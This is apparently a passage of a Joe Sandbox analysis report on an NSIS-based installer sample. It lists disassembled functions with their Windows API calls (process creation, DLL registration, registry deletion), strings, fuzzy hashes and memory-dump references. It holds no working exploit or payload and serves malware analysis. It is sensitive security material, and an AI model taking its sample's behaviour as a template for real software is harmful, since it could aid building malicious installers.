Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426979,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: %s not found in %s, xrefs: 0040249A
`G, xrefs: 0040246E
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: Could not load %s, xrefs: 004024DB

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G
API String ID: 1033533793-4193110038
Opcode ID: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
Opcode Fuzzy Hash: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D

Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403E10
GetSysColor.USER32(00000000), ref: 00403E2C
SetTextColor.GDI32(?,00000000), ref: 00403E38
SetBkMode.GDI32(?,?), ref: 00403E44
GetSysColor.USER32(?), ref: 00403E57
SetBkColor.GDI32(?,?), ref: 00403E67
DeleteObject.GDI32(?), ref: 00403E81
CreateBrushIndirect.GDI32(?), ref: 00403E8B

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426979,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426979,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426979,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: success ("%s"), xrefs: 00402263
Exec: command="%s", xrefs: 00402241

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
Opcode Fuzzy Hash: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D

Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
GetMessagePos.USER32 ref: 0040489D
ScreenToClient.USER32(?,?), ref: 004048B5
SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED

Strings

f, xrefs: 004048C9

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(0002EE00,00000064,0012FFFF), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
Opcode Fuzzy Hash: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58

Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
CharNextW.USER32(?,?,?,00000000), ref: 004060D6
CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Strings

*?|<>/":, xrefs: 004060B6

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GlobalFree.KERNEL32(00590E48), ref: 00402387

Strings

Pop: stack empty, xrefs: 00401F2C
open, xrefs: 00401EFB, 00401F00, 00401F1A
Exch: stack < %d elements, xrefs: 00401ED8

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$open
API String ID: 1459762280-1711415406
Opcode ID: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
Opcode Fuzzy Hash: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

GlobalFree.KERNEL32(00590E48), ref: 00402387

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction ID: 8f71947f799b2f64a69df86d2a8dcb393400c967cd863db52f2ee5b4f8782dab
Opcode Fuzzy Hash: 06a5835b44d3b6ac96e348dee9128c473dfe3a95b4f6450d10307ae5d6bb1818
Instruction Fuzzy Hash: 9DF012B2A00104BFE700EBA4EE89DEFBBBCEB04305B104575F502F6162C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction ID: 6a5c1514d43e21eed083d94b15ba6593763dc9af2b3e6337d8774d5f4809249f
Opcode Fuzzy Hash: e47ff439633ded3fb17ec5eecd0e1b6806a5c9fa211e2190a11df636c871b995
Instruction Fuzzy Hash: 56217171900209BADF15AFB4D886ABE7BB9EF04349F10413EF602F60E2D6794A40D758

Function 004043D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00451D98,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00451D98,?), ref: 00404476
wsprintfW.USER32 ref: 00404483
SetDlgItemTextW.USER32(?,00451D98,000000DF), ref: 00404496

Strings

%u.%u%s%s, xrefs: 00404470

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction ID: 019992b557dc20c415266b5889428492ee6a52d86c3b4952972254649920ef77
Opcode Fuzzy Hash: a810ffe09f2dc908503b2f58e47bd406bb4654f19e43ddd30bdf0acdc5011288
Instruction Fuzzy Hash: DC11527270021477CF10AA699D45F9E765EEBC5334F10423BF519F31E1D6388A158259

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
Instruction ID: 70287f52249eeba914cab3bee2f8f529b2cd5257afac1a85b0186071c419a2a5
Opcode Fuzzy Hash: 1c7787f783619d22a727722e8428d119ca1e8f511c7c384e8364c1fbbf216132
